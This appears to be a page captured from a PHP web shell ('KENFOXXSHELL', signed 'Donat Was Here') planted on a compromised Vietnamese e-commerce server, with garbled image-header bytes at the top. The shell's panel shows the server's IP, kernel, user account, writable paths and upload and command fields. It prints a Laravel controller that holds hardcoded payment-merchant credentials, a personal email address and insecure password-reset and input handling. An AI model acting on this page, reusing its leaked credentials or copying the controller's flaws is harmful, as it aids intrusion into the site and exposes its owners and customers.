ÿØÿàJFIFHHÿÛC     ÿÛC  ÿÂ"ÿÄÿÄÿÚ ±5¬€ÿÄàÿÚÿÄÀÿÚ?ÿÄÀÿÚ?ÿÄàÿÚ?ÿÄàÿÚ?!ÿÚ ÿÄÀÿÚ?ÿÄÀÿÚ?ÿÄàÿÚ?ÿÙ Donat Was Here
KENFOXXSHELL
Server IP : 160.25.81.117  /  Your IP : 216.73.216.137
Web Server : Apache/2
System : Linux sv05.hilab.cloud 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : bellizen ( 1045)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/bellizen/domains/bellizeno.com/public_html/app/Http/Controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/bellizen/domains/bellizeno.com/public_html/app/Http/Controllers//IndexController.php
<?php

namespace App\Http\Controllers;

use Illuminate\Http\Request;
use App\Http\Requests\UsersRequest;
use Illuminate\Support\Facades\Auth;
use Carbon\Carbon;
use App\Products;
use App\NewsLetter;
use App\OrderDetail;
use App\Orders;
use App\Users;
use Input, File;
use DB, Cache, Mail, Session, Cart, Hash;
use App\Contact;
use App\Images;
use App\Combos;
use App\Rates;

class IndexController extends Controller {
    protected $setting = NULL;

    public function __construct() {

        session_start();
        if (isset($_GET['lang'])) {
            $_SESSION['lang'] = $_GET['lang'];
        } else {
            $_SESSION['lang'] = 'vi';
        }

        $setting = DB::table('setting')->select()->where('id', 1)->get()->first();
        Cache::forever('setting', $setting);

        $catproduct = DB::table("product_categories")->select('id', 'name', 'name_eg', 'parent_id', 'alias')->where('parent_id', 0)->where('status', 1)->orderBy('stt', 'asc')->get();
        Cache::forever('catproduct', $catproduct);
        $catnews = DB::table("news_categories")->select('id', 'alias', 'name', 'name_eg')->where('status', 1)->orderBy('id', 'DESC')->get();
        Cache::forever('catnews', $catnews);
        $aboutnews = DB::table("news")->select('id', 'alias', 'name', 'name_eg', 'mota', 'mota_eg', 'cate_id', 'photo')->where('cate_id', 2)->where('status', 1)->get();
        Cache::forever('aboutnews', $aboutnews);

        $this->version = '3.1';
        $this->url_api = 'https://sandbox.nganluong.vn:8088/nl30/checkout.api.nganluong.post.php';
        $this->merchant_id = '45434';
        $this->merchant_password = '5f6193a9c535c1d902d18dc962e08ba0';
        $this->receiver_email = 'nguyennhan091@gmail.com';
        $this->cur_code = 'vnd';
    }

    public function testcheck() {
        die('ewqe');
        return view('templates.detail.test');
    }

    public function AjaxRate(Request $request) {

        $product = Products::select('id')->where('id', $request->id)->first();
        $data = new Rates;
        $data->rate = $request->score;
        $data->cate_id = $product->id;
        $data->save();

        echo 1;
    }

    public function AjaxRateCombo(Request $request) {
        $combo = Combos::select()->where('id', $request->id)->first();

        $combo->score = $combo->score + $request->score;
        $combo->hit = $combo->hit + 1;
        $combo->save();
        echo 1;
    }
    public function ajaxembroi() {
        return view('templates.detail.ajax.mautheu.mautheu');
    }
    public function ajaxviewprice() {
        return view('templates.detail.ajax.viewprice.price');
    }
    public function loadimage() {
        $id = $_GET['id'];
        if ($id > 0) {
            @$embroiderys = DB::table("embroiderys")->select()->where('id', $id)->first();
        } else {
            @$embroiderys = null;
        }
        return view('templates.detail.ajax.mautheu.loadimage', compact('embroiderys', 'kiemtra', 'id'));
    }
    public function ajaxembroicombo() {
        return view('templates.detail.ajax.mautheu.ajax_broi_com_bo');
    }
    /** load mẫu thêu list sản phẩm **/
    public function loadhinhanhmautheumuathem() {
        $id = $_GET['id'];
        if ($id > 0) {
            @$embroiderys = DB::table("embroiderys")->select()->where('id', $id)->first();
        } else {
            @$embroiderys = null;
        }
        return view('templates.detail.ajax.mautheu.loadhinhanhmautheumuathem', compact('embroiderys', 'kiemtra', 'id'));
    }
    public function mautheumuathem() {
        return view('templates.detail.ajax.mautheu.mautheumuathem');
    }

    /** end load mẫu thêu list **/
    public function loadimagecombo() {
        $id = $_GET['id'];
        $id_pro = $_GET['idproduct'];
        if ($id > 0) {
            @$embroiderys = DB::table("embroiderys")->select()->where('id', $id)->first();
        } else {
            @$embroiderys = null;
        }
        return view('templates.detail.ajax.mautheu.load_images_combo', compact('embroiderys', 'kiemtra', 'id', 'id_pro'));
    }
    /** aned ajjax **/
    public function index() {
        $product_noibat = DB::table('products')->select('id', 'name', 'name_eg', 'mota', 'mota_eg', 'cate_id', 'sao', 'alias', 'photo', 'hit', 'score', 'hethang')->where('status', 1)->where('noibat', '>', 0)->orderBy('stt', 'desc')->limit(3)->get();

        $sliderhome = DB::table('slider')->select()->where('status', 1)->where('com', 'home')->where('display', 1)->orderBy('id', 'desc')->first();

        $new_noibat = DB::table('news')->select('id', 'alias', 'name', 'name_eg', 'mota', 'mota_eg', 'created_at', 'photo', 'cate_id')->where('status', 1)->where('noibat', '>', 0)->orderBy('stt', 'desc')->limit(6)->get();

        $lienket = DB::table('lienket')->select('name', 'name_eg', 'photo')->where('status', 1)->orderBy('stt', 'desc')->limit(4)->get();
        $sliderhome_duoi = DB::table('slider')->select()->where('status', 1)->where('com', 'home')->where('display', 2)->orderBy('id', 'desc')->limit(2)->get();
        // end cai moi

        $com = 'index';

        // Cấu hình SEO

        $setting = Cache::get('setting');

        $title = $setting->title;

        $keyword = $setting->keyword;

        $description = $setting->description;

        // End cấu hình SEO

        $img_share = asset('upload/hinhanh/' . $setting->photo);

        return view('templates.index_tpl', compact('product_noibat', 'sliderhome', 'new_noibat', 'lienket', 'sliderhome_duoi', 'banner_danhmuc', 'keyword', 'description', 'title', 'img_share'));
    }



    /************* mat khau *********/



    public function quenmatkhau() {



        // Cấu hình SEO



        $setting = Cache::get('setting');



        $title = $setting->title;



        $keyword = $setting->keyword;



        $description = $setting->description;



        // End cấu hình SEO



        $img_share = asset('upload/hinhanh/' . $setting->photo);



        return view('templates.rspass.quenmatkhau', compact('gioithieu', 'keyword', 'description', 'title', 'img_share'));
    }






    public function postquenmatkhau($id, $nu = null) {

        $codemail = $id;



        $user = Users::where([



            ['codemail', $codemail],



        ])->update(['password' => Hash::make($codemail)]);



        if (!empty($user)) {



            $user = Users::where([



                ['codemail', $codemail],



            ])->update(['codemail' => $nu]);





            return redirect('quen-mat-khau')->with([



                'toastr_lvl' => 'success',



                'toastr_msg' => 'Äổi mật khẩu thành công!'



            ]);
        } else {



            return redirect('quen-mat-khau')->with([



                'toastr_lvl' => 'success',



                'toastr_msg' => 'Mật khẩu đã xác nhận!'



            ]);
        }
    }







    public function laymatkhauthanhcong() {
        return view('templates.rspass.thongbao');
    }











    public function postguimatkhau(Request $request) {







        $setting = DB::table('setting')->select('email')->first();







        $email = $_REQUEST['email'];



        $username = $_REQUEST['username'];



        $random = str_random(12);







        $user = Users::where([



            ['email', $email],



            ['username', $username],



        ])->update(['codemail' => $random]);



        if (!empty($user)) {



            $data = [



                'email'         => $email,



                'codemail'         => $random,



                'username'         => $username,



            ];











            Mail::send('templates.rspass.mailpass', $data, function ($msg) {



                $msg->from('nguyennhan091@gmail.com', $_REQUEST['username']);



                $msg->to($_REQUEST['email'], 'Author sendmail')->subject('Liên hệ từ website');
            });







            echo "<script type='text/javascript'>



    			alert('Má»i bạn vào hòm thư kiểm tra xác nhận lấy mật khẩu!');



    			window.location = '" . url('/') . "' </script>";
        } else {



            return redirect('quen-mat-khau')->with([



                'toastr_lvl' => 'success',



                'toastr_msg' => 'Tài khoản và Email không khớp, Quý khách vui lòng kiểm tra lại.!'



            ]);
        }
    }



    /****************** end mk ***************************/

    public function nguyenhuunhan() {

        $product_cart = Cart::content();



        $product_noibat = DB::table('products')->select()->where('status', 1)->where('noibat', '>', 0)->orderBy('created_at', 'desc')->take(8)->get();



        $huongdan_muahang = DB::table('about')->select()->where('com', 'huong-dan')->first();



        $camnhan_khachhang = DB::table('lienket')->select()->where('status', 1)->where('com', 'cam-nhan')->orderby('stt', 'asc')->get();



        $setting = Cache::get('setting');



        // Cấu hình SEO



        $title = "GiỠhàng";



        $keyword = "GiỠhàng";



        $description = "GiỠhàng";



        $img_share = '';



        // End cấu hình SEO



        return view('templates.nguyenhuunhan', compact('doitac', 'product_cart', 'huongdan_muahang', 'product_noibat', 'camnhan_khachhang', 'keyword', 'description', 'title', 'img_share'));
    }

    public function post_bantin(Request $request) {
        $contact           = new Contact();
        $contact->email   = $request->email;
        $contact->type   = 1;
        $contact->save();
        echo "<script type='text/javascript'>
			alert('Thành công, chúng tôi sẽ liên lạc vá»›i quý khách trong thá»i gian sá»›m nhất. Trân trá»ng !');
			window.location = '" . url('/') . "' </script>";
    }

    public function post_Contact2018(Request $request) {
        $contact           = new Contact();
        $contact->name   = $request->name;
        $contact->phone   = $request->phone;
        $contact->email   = $request->email;
        $contact->content   = $request->content;
        $contact->type   = 2;
        $contact->save();
        echo "<script type='text/javascript'>
			alert('Thành công, chúng tôi sẽ liên lạc vá»›i quý khách trong thá»i gian sá»›m nhất. Trân trá»ng !');
			window.location = '" . url('/') . "' </script>";
    }

    /** email **/



    /** Gói cơ bản **/



    public function goicoban(Request $id) {
        @$product_cart = DB::table('products')->select()->where('status', 1)->where('id', $_GET['id'])->first();
        // list id gói
        if (!empty($_REQUEST['idgoi'])) {
            $arr_list = implode(',', $_REQUEST['idgoi']);
            $explo_list = explode(',', $arr_list);
        } else {
            $explo_list = 0;
        }
        //list chất liệu
        if (!empty($_REQUEST['chatlieu'])) {
            $arr_chatlieu = implode(',', $_REQUEST['chatlieu']);
            $explo_chatlieu = explode(',', $arr_chatlieu);
        } else {
            $explo_chatlieu = 0;
        }
        // list size
        if (!empty($_REQUEST['size'])) {
            $arr_size = implode(',', $_REQUEST['size']);
            $explo_size = explode(',', $arr_size);
        } else {
            $explo_size = 0;
        }
        //list color
        if (!empty($_REQUEST['color'])) {
            $arr_color = implode(',', $_REQUEST['color']);
            $explo_color = explode(',', $arr_color);
        } else {
            $explo_color = 0;
        }
        //list mẫu thêu nếu có
        if (!empty($_REQUEST['mtheu_id'])) {
            @$arr_mautheu = implode(',', $_REQUEST['mtheu_id']);
            @$explo_mautheu = explode(',', $arr_mautheu);
        } else {
            $explo_mautheu = 0;
        }
        //list sản phẩm sale nếu chá»n đây là id cá»§a sản phẩm sale
        if (!empty($_REQUEST['sale_2018'])) {
            $arr_sale = implode(',', $_REQUEST['sale_2018']);
            $explo_sale = explode(',', $arr_sale);
            // list chất liệu sản phẩm sale
            if (!empty($_REQUEST['chatlieusale'])) {
                $arr_chatlieu_sale = implode(',', $_REQUEST['chatlieusale']);
                $explo_chatlieu_sale = explode(',', $arr_chatlieu_sale);
            }
            // list size sản phẩm sale
            if (!empty($_REQUEST['sizesale'])) {
                $arr_size_sale = implode(',', $_REQUEST['sizesale']);
                $explo_size_sale = explode(',', $arr_size_sale);
            }
            // list chất liệu sản phẩm sale
            if (!empty($_REQUEST['colorsale'])) {
                $arr_color_sale = implode(',', $_REQUEST['colorsale']);
                $explo_color_sale = explode(',', $arr_color_sale);
            }
        } else {
            $explo_sale = 0;
            $explo_chatlieu_sale = 0;
            $explo_size_sale = 0;
            $explo_color_sale = 0;
        }


        Cart::add(array(

            'id' => @$product_cart->id,
            'name' => @$product_cart->name,
            'qty' => 1,
            'price' => @$product_cart->price,
            'options' => array(
                'photo' => @$product_cart->photo,
                'idpro' => $explo_list,
                'chatlieu' => $explo_chatlieu,
                'size' => $explo_size,
                'color' => $explo_color,
                'mautheu' => $explo_mautheu,
                'sale2018' => $explo_sale,
                'chatlieusale' => $explo_chatlieu_sale,
                'sizesale' => $explo_size_sale,
                'colorsale' => $explo_color_sale,
            )
        ));


        return redirect()->route('getCart');
    }
    /** add goi combo **/

    public function combodon(Request $id) {


        @$product_cart = DB::table('products')->select()->where('status', 1)->where('id', $_GET['id'])->first();
        // list id gói
        //list chất liệu
        if (!empty($_REQUEST['chatlieu'])) {
            @$arr_chatlieu = implode(',', $_REQUEST['chatlieu']);
            @$explo_chatlieu = explode(',', $arr_chatlieu);
        } else {
            $explo_chatlieu = 0;
        }
        // list size
        if (!empty($_REQUEST['size'])) {
            @$arr_size = implode(',', $_REQUEST['size']);
            @$explo_size = explode(',', $arr_size);
        } else {
            $explo_size = 0;
        }
        //list color
        if (!empty($_REQUEST['color'])) {
            @$arr_color = implode(',', $_REQUEST['color']);
            @$explo_color = explode(',', $arr_color);
        } else {
            $explo_color = 0;
        }
        //list mẫu thêu nếu có
        if (!empty($_REQUEST['mtheu_id'])) {
            @$arr_mautheu = implode(',', $_REQUEST['mtheu_id']);
            @$explo_mautheu = explode(',', $arr_mautheu);
        } else {
            $explo_mautheu = 0;
        }
        Cart::add(array(

            'id' => @$product_cart->id,
            'name' => @$product_cart->name,
            'qty' => 1,
            'price' => 0,
            'options' => array(
                'photo' => @$product_cart->photo,
                'chatlieu' => $explo_chatlieu,
                'size' => $explo_size,
                'color' => $explo_color,
                'mautheu' => $explo_mautheu,

            )
        ));


        return redirect()->route('getCart');
    }

    public function Getaddcombo() {


        if (!empty($_REQUEST['area'])) {
            $imp_area = implode(',', $_REQUEST['area']);
            $exp_area = explode(',', $imp_area);
        } else {
            $exp_area = 0;
        }

        if (!empty($_REQUEST['id_chatlieu'])) {
            $imp_chatlieu = implode(',', $_REQUEST['id_chatlieu']);
            $exp_chatlieu = explode(',', $imp_chatlieu);
        } else {
            $exp_chatlieu = 0;
        }
        if (!empty($_REQUEST['id_size'])) {
            $imp_size = implode(',', $_REQUEST['id_size']);
            $exp_size = explode(',', $imp_size);
        } else {
            $exp_size = 0;
        }
        if (!empty($_REQUEST['id_color'])) {
            $imp_color = implode(',', $_REQUEST['id_color']);
            $exp_color = explode(',', $imp_color);
        } else {
            $exp_color = 0;
        }
        if (!empty($_REQUEST['cate_mtheu'])) {
            $imp_mtheu = implode(',', $_REQUEST['cate_mtheu']);
            $exp_mtheu = explode(',', $imp_mtheu);
        } else {
            $exp_mtheu = 0;
        }

        foreach ($exp_area as $k => $rows) {
            $cb = DB::table("products")->select('id', 'name')->where('id', $rows)->first();
            Cart::add(array(
                'id' => $cb->id,
                'name' => $cb->name,
                'qty' => 1,
                'price' => 0,
                'options' => array(
                    'combo' => 1,
                    'chatlieu' => $exp_chatlieu[$k],
                    'size' => $exp_size[$k],
                    'color' => $exp_color[$k],
                    'mautheu' => $exp_mtheu[$k],
                )
            ));
        }

        return redirect()->route('getCart')->with([
            'toastr_lvl' => 'success',
            'toastr_msg' => 'Thêm vào giỠthành công !!'
        ]);
    }
    public function addcombocart($id) {
        $cate_combo = DB::table("combos")->select()->where('status', 1)->where('id', $id)->first();
        $product = DB::table("products")->select()->where('combo_id', $cate_combo->id)->get();
        foreach ($product as $rows) {
            Cart::add(array(
                'id' => $rows->id,
                'name' => $rows->name,
                'qty' => 1,
                'price' => $rows->price,
                'options' => array('combo' => 1,)
            ));
        }
        return redirect()->route('getCart');
    }

    public function getCart() {
        $product = Cart::content();
        $setting = Cache::get('setting');
        // Cấu hình SEO
        $title = "GiỠhàng";



        $keyword = "GiỠhàng";



        $description = "GiỠhàng";



        $img_share = '';



        // End cấu hình SEO



        return view('templates.giohang_tpl', compact('product', 'keyword', 'description', 'title', 'img_share'));
    }



    public function updatecart($id, $qty) {



        Cart::update($id, $qty);







        return redirect()->route('getCart');
    }



    public function deletecart($id) {



        Cart::remove($id);



        return redirect()->route('getCart');
    }







    /** End đặt hàng gói cơ bản **/



    public function combo() {



        $combo = DB::table('combos')->select()->where('status', 1)->orderby('stt', 'asc')->paginate(6);
        $setting = Cache::get('setting');
        // Cấu hình SEO
        $title = "Combo";
        $keyword = "Combo";
        $description = "Combo";
        $img_share = '';
        // End cấu hình SEO
        return view('templates.combo', compact('combo', 'keyword', 'description', 'title', 'img_share'));
    }



    public function detailcombo($id) {


        //Tìm article thông qua mã id tương ứng



        $cate_combo = DB::table("combos")->select()->where('status', 1)->where('alias', $id)->first();



        $product = DB::table("products")->select('id', 'price', 'sao', 'alias', 'photo', 'name', 'name_eg', 'mota', 'mota_eg', 'color_id', 'size_id', 'hit', 'score')->where('combo_id', $cate_combo->id)->paginate(16);







        $setting = Cache::get('setting');



        // Cấu hình SEO



        if (!empty($cate_combo->title)) {



            $title = $cate_combo->title;
        } else if (!empty($cate_combo->name)) {



            $title = $cate_combo->name;
        } else {



            $title = $setting->title;
        }



        if (!empty($cate_combo->keyword)) {



            $keyword = $cate_combo->keyword;
        } else {



            $keyword = $setting->keyword;
        }



        if (!empty($cate_combo->description)) {



            $description = $cate_combo->description;
        } else {



            $description = $setting->description;
        }



        if (!empty($cate_combo->images)) {



            $img_share = asset('upload/combo/' . $cate_combo->images);
        } else {



            $img_share = asset('upload/hinhanh/' . $setting->photo);
        }



        // End cấu hình SEO



        return view('templates.detail_combo', compact('cate_combo', 'product', 'product_img', 'catpro', 'keyword', 'description', 'title', 'img_share', 'product_khac', 'album_hinh'));
    }



    public function getProduct() {



        $product = DB::table('products')->select()->where('status', 1)->orderby('stt', 'asc')->paginate(16);



        $product_noibat = DB::table('products')->select()->where('status', 1)->where('noibat', '>', 0)->orderBy('created_at', 'desc')->take(16)->get();



        $camnhan_khachhang = DB::table('lienket')->select()->where('status', 1)->where('com', 'cam-nhan')->orderby('stt', 'asc')->get();



        $doitac = DB::table('lienket')->select()->where('status', 1)->where('com', 'doi-tac')->orderby('stt', 'asc')->get();



        $setting = Cache::get('setting');



        // Cấu hình SEO



        $title = "Sản phẩm";



        $keyword = "Sản phẩm";



        $description = "Sản phẩm";



        $img_share = '';

        return view('templates.product_tpl', compact('product', 'doitac', 'product_noibat', 'camnhan_khachhang', 'keyword', 'description', 'title', 'img_share'));
    }



    public function getProductList($id, Request $request) {

        $sort = $request->sort;
        $product_cate = DB::table('product_categories')->select()->where('status', 1)->where('alias', $id)->first();
        $ids = array(intval($id));
        $ids[] = $product_cate->id;
        $product_cate2 = DB::table('product_categories')->select()->where('status', 1)->where('id', $product_cate->id)->get();


        // Get all children categories
        $children = DB::table('product_categories')->where('parent_id', $product_cate->id)->get();

        foreach ($children as $child) {
            $ids[] = $child->id;
        }

        foreach ($product_cate2 as $id) {
            $ids[] = $id->id;
            $product_cate3 = DB::table('product_categories')->select()->where('status', 1)->where('id', $id->id)->get();
            foreach ($product_cate3 as $rowsid) {
                $ids[] = $rowsid->id;
                $product_cate4 = DB::table('product_categories')->select()->where('status', 1)->where('id', $rowsid->id)->get();
                foreach ($product_cate4 as $rowid) {
                    $ids[] = $rowid->id;
                }
            }
        }

        if (!empty($product_cate)) {
            if ($sort == 'desc') {
                $product = DB::table('products')->select()->where('status', 1)->whereIn('cate_id', $ids)->where('type', 'sanpham')->orderBy('price_pro', 'desc')->paginate(16);
            } elseif ($sort == 'asc') {
                $product = DB::table('products')->select()->where('status', 1)->whereIn('cate_id', $ids)->where('type', 'sanpham')->orderBy('price_pro', 'asc')->paginate(16);
            } else {
                $product = DB::table('products')->select()->where('status', 1)->whereIn('cate_id', $ids)->where('type', 'sanpham')->orderBy('name', 'asc')->orderBy('name', 'asc')->paginate(16);
            }
            $doitac = DB::table('lienket')->select()->where('status', 1)->where('com', 'doi-tac')->orderby('stt', 'asc')->get();

            $setting = Cache::get('setting');


            // if ($sort == "desc") {
            //   $listIDProduct = array();
            //   //bat dau pham sap xep 
            //   foreach ($product as $item) {
            //      $test = Products::with(['price'=>function($query){
            //         $prices = $query;
            //         return $query->orderBy('price','DESC')->first();
            //       }])->find($item->id);
            //      $listIDProduct[$test->id] =  $test->price[0]->price;
            //   }
            //   asort($listIDProduct);
            //   //dd($listIDProduct);

            //     $listIDProduct = array_keys($listIDProduct);
            //       dd($listIDProduct);
            //       $product = DB::table('products')
            //           ->where('status',1)
            //           ->whereIn('cate_id',$ids)
            //           ->where('id', $listIDProduct)
            //           ->where('type','sanpham')
            //           ->paginate(16);
            //           dd($product);
            //   }


            if (!empty($product_cate->title)) {
                $title = $product_cate->title;
            } else {
                $title = $product_cate->name;
            }
            $keyword = $product_cate->keyword;

            $description = $product_cate->description;



            $img_share = asset('upload/product/' . $product_cate->photo);







            // End cấu hình SEO

            return view('templates.productlist_tpl', compact('product', 'product_cate', 'doitac', 'keyword', 'description', 'title', 'img_share'));
        } else {

            return redirect()->route('getErrorNotFount');
        }
    }



    public function getProductDetail($alias, $id) {

        $com = 'sanpham';



        //Tìm article thông qua mã id tương ứng



        @$product_detail = DB::table('products')->select()->where('status', 1)->where('id', $id)->first();



        @$catpro = DB::table('product_categories')->select('name', 'name_eg', 'id', 'alias', 'photo')->where('id', @$product_detail->cate_id)->first();



        $catpro2 = DB::table('product_categories')->select('id')->get();



        $ids = array();



        foreach ($catpro2 as $k) {



            $ids[] = $k->id;
        }


        $product_img = null;
        $product =  Products::find($id);

        if (!empty($product)) {
            $product_img = $product->pimg;
        }

        if (!empty($product_detail)) {



            if (!empty($catpro)) {



                $product_khac = DB::table('products')->select()->where('status', 1)->whereIn('cate_id', $ids)->where('alias', '<>', $id)->orderby('stt', 'asc')->inRandomOrder(3)->get();
            } else {



                $product_khac = DB::table('products')->select()->where('status', 1)->where('alias', '<>', $id)->orderby('stt', 'asc')->inRandomOrder(3)->get();
            }



            $album_hinh = DB::table('images')->select()->where('product_id', $product_detail->id)->orderby('id', 'asc')->get();



            $setting = Cache::get('setting');



            // Cấu hình SEO



            if (!empty($product_detail->title)) {



                $title = $product_detail->title;
            } else if (!empty($product_detail->name)) {



                $title = $product_detail->name;
            } else {



                $title = $setting->title;
            }



            if (!empty($product_detail->keyword)) {



                $keyword = $product_detail->keyword;
            } else {



                $keyword = $setting->keyword;
            }



            if (!empty($product_detail->description)) {



                $description = $product_detail->description;
            } else {



                $description = $setting->description;
            }



            if (!empty($product_detail->photo)) {



                $img_share = asset('upload/product/' . $product_detail->photo);
            } else {



                $img_share = asset('upload/hinhanh/' . $setting->photo);
            }



            // End cấu hình SEO



            return view('templates.product_detail_tpl', compact('com', 'product_detail', 'product_img', 'catpro', 'keyword', 'description', 'title', 'img_share', 'product_khac', 'album_hinh'));
        } else {



            return redirect()->route('getErrorNotFount');
        }
    }



    public function poup() {



        if (isset($_GET['area_id'])) {



            $item = $_GET['area_id'];



            $product_detail = DB::table('products')->select()->where('status', 1)->where('id', $item)->first();
        }



        $setting = Cache::get('setting');



        $title = $setting->title;



        $keyword = $setting->keyword;



        $description = $setting->description;



        // End cấu hình SEO



        $img_share = asset('upload/hinhanh/' . $setting->photo);



        return view('templates.poup', compact('product_detail', 'keyword', 'description', 'title', 'img_share'));
    }



    // like face 















    public function getAbout() {

        if (!empty($_SESSION['lang'])) {

            if (!empty($_SESSION))

                $a = $_SESSION['lang'];

            else

                $a = 'en';
        } else {

            $a = 'en';
        }



        $about = DB::table('about')->select()->where('com', 'gioi-thieu')->get()->first();



        $setting = Cache::get('setting');



        // Cấu hình SEO



        // cau hinh seo vip

        if ($a == 'vi') {

            if (!empty($about->title)) {

                $title = $about->title;
            } else if (!empty($about->name)) {

                $title = $about->name;
            } else {

                $title = $setting->title;
            }

            if (!empty($about->keyword)) {

                $keyword = $about->keyword;
            } else {

                $keyword = $setting->keyword;
            }

            if (!empty($about->description)) {

                $description = $about->description;
            } else {

                $description = $setting->description;
            }
        } else {

            if (!empty($about->title_eg)) {

                $title = $about->title_eg;
            } else if (!empty($about->name_eg)) {

                $title = $about->name_eg;
            } else {

                $title = $setting->title_eg;
            }

            if (!empty($about->keyword_eg)) {

                $keyword = $about->keyword_eg;
            } else {

                $keyword = $setting->keyword_eg;
            }

            if (!empty($about->description_eg)) {

                $description = $about->description_eg;
            } else {

                $description = $setting->description_eg;
            }
        }















        $img_share = asset('upload/hinhanh/' . $about->photo);







        // End cấu hình SEO



        return view('templates.about_tpl', compact('about', 'keyword', 'description', 'title', 'img_share'));
    }



    public function search(Request $request) {
        if (!empty($_SESSION['lang'])) {
            if (!empty($_SESSION))
                $a = $_SESSION['lang'];
            else
                $a = 'en';
        } else {
            $a = 'en';
        }

        if (isset($_GET['txtSearch'])) {
            $_SESSION['key'] = $_GET['txtSearch'];
            @$keyw = $_SESSION['key'];
        } elseif (isset($_SESSION['key'])) {
            @$keyw = $_SESSION['key'];
        }
        //echo $sql_cate;
        // Cấu hình SEO
        $title = "Tìm kiếm sản phẩm: " . $keyw;
        $keyword = "Tìm kiếm sản phẩm: " . $keyw;
        $description = "Tìm kiếm sản phẩm: " . $keyw;
        $img_share = '';
        // End cấu hình SEO	

        if ($a == 'vi') {
            $product = DB::table('products')->select()->where('status', 1)->where('name', 'LIKE', '%' . $keyw . '%')->where('type', '!=', null)->orderBy('id', 'DESC')->paginate(16);
        } else {
            $product = DB::table('products')->select()->where('status', 1)->where('name_eg', 'LIKE', '%' . $keyw . '%')->where('type', '!=', null)->orderBy('id', 'DESC')->paginate(16);
        }
        return view('templates.search_tpl', compact('product', 'keyword', 'description', 'title', 'img_share'));
    }



    public function getNews($id) {

        if (!empty($_SESSION['lang'])) {

            if (!empty($_SESSION))

                $a = $_SESSION['lang'];

            else

                $a = 'en';
        } else {

            $a = 'en';
        }

        $catnews = DB::table('news_categories')->select()->where('status', 1)->where('alias', $id)->get()->first();



        $catcategorys = DB::table("news_categories")->select('id', 'name', 'alias', 'mota', 'photo')->where('parent_id', 0)->where('com', 'bai-viet')->where('id', 2)->where('status', 1)->first();



        @$tintuc = DB::table('news')->select()->where('status', 1)->where('cate_id', $catnews->id)->orderby('stt', 'desc')->orderby('id', 'desc')->paginate(8);



        if (empty($tintuc)) {



            return redirect()->route('getErrorNotFount');
        }



        // Cấu hình SEO



        $setting = Cache::get('setting');



        // Cấu hình SEO





        if ($a == 'vi') {

            if (!empty($catnews->title)) {

                $title = $catnews->title;
            } else if (!empty($catnews->name)) {

                $title = $catnews->name;
            } else {

                $title = $setting->title;
            }

            if (!empty($catnews->keyword)) {

                $keyword = $catnews->keyword;
            } else {

                $keyword = $setting->keyword;
            }

            if (!empty($catnews->description)) {

                $description = $catnews->description;
            } else {

                $description = $setting->description;
            }
        } else {

            if (!empty($catnews->title_eg)) {

                $title = $catnews->title_eg;
            } else if (!empty($catnews->name_eg)) {

                $title = $catnews->name_eg;
            } else {

                $title = $setting->title_eg;
            }

            if (!empty($catnews->keyword_eg)) {

                $keyword = $catnews->keyword_eg;
            } else {

                $keyword = $setting->keyword_eg;
            }

            if (!empty($catnews->description_eg)) {

                $description = $catnews->description_eg;
            } else {

                $description = $setting->description_eg;
            }
        }





        if (!empty($catnews->photo)) {



            $img_share = asset('upload/hinhanh/' . $catnews->photo);
        } else {



            $img_share = asset('upload/hinhanh/' . $setting->photo);
        }



        // End cấu hình SEO



        return view('templates.news_tpl', compact('com', 'tintuc', 'catget', 'catproducthome', 'catcategorys', 'catnews', 'keyword', 'description', 'title', 'img_share'));
    }







    public function getNewsDetail($cate_alias, $alias, $id) {

        if (!empty($_SESSION['lang'])) {

            if (!empty($_SESSION))

                $a = $_SESSION['lang'];

            else

                $a = 'en';
        } else {

            $a = 'en';
        }

        $tintuc_detail = DB::table('news')->select()->where('status', 1)->where('id', $id)->get()->first();



        if (!empty($tintuc_detail)) {



            $catnews = DB::table('news_categories')->select()->where('status', 1)->where('id', $tintuc_detail->cate_id)->first();



            $baiviet_khac = DB::table('news')->select()->where('status', 1)->where('alias', '<>', $id)->where('cate_id', $catnews->id)->orderby('created_at', 'desc')->take(3)->get();



            $setting = Cache::get('setting');



            // Cấu hình SEO





            if ($a == 'vi') {

                if (!empty($tintuc_detail->title)) {

                    $title = $tintuc_detail->title;
                } else if (!empty($tintuc_detail->name)) {

                    $title = $tintuc_detail->name;
                } else {

                    $title = $setting->title;
                }

                if (!empty($tintuc_detail->keyword)) {

                    $keyword = $tintuc_detail->keyword;
                } else {

                    $keyword = $setting->keyword;
                }

                if (!empty($tintuc_detail->description)) {

                    $description = $tintuc_detail->description;
                } else {

                    $description = $setting->description;
                }
            } else {

                if (!empty($tintuc_detail->title_eg)) {

                    $title = $tintuc_detail->title_eg;
                } else if (!empty($tintuc_detail->name_eg)) {

                    $title = $tintuc_detail->name_eg;
                } else {

                    $title = $setting->title_eg;
                }

                if (!empty($tintuc_detail->keyword_eg)) {

                    $keyword = $tintuc_detail->keyword_eg;
                } else {

                    $keyword = $setting->keyword_eg;
                }

                if (!empty($tintuc_detail->description_eg)) {

                    $description = $tintuc_detail->description_eg;
                } else {

                    $description = $setting->description_eg;
                }
            }





            if (!empty($tintuc_detail->photo)) {



                $img_share = asset('upload/news/' . $tintuc_detail->photo);
            } else {



                $img_share = asset('upload/hinhanh/' . $setting->photo);
            }



            return view('templates.news_detail_tpl', compact('com', 'catnews', 'tintuc_detail', 'catcategorys', 'catproducthome', 'catenew', 'baiviet_khac', 'keyword', 'description', 'title', 'img_share'));
        } else {



            return redirect()->route('getErrorNotFount');
        }
    }



    public function postGuidonhang(Request $request) {



        $setting = Cache::get('setting');



        $data = [



            'hoten'         => $request->get('hoten'),



            'diachi'     => $request->get('diachi'),



            'dienthoai'     => $request->get('dienthoai'),



            'email'     => $request->get('email'),



            'noidung'     => $request->get('noidung')



        ];



        Mail::send('templates.guidonhang_tpl', $data, function ($msg) {



            $msg->from($request->get('email'), $request->get('hoten'));



            $msg->to('emailserver.send@gmail.com', 'Author sendmail')->subject('Liên hệ từ website');
        });







        echo "<script type='text/javascript'>



			alert('Thanks for contacting us !');



			window.location = '" . url('/') . "' </script>";
    }



    public function postNewsLetter(Request $request) {



        $this->validate(
            $request,



            ["txtEmail" => "required"],



            ["txtEmail.required" => "Bạn chưa nhập email"]



        );



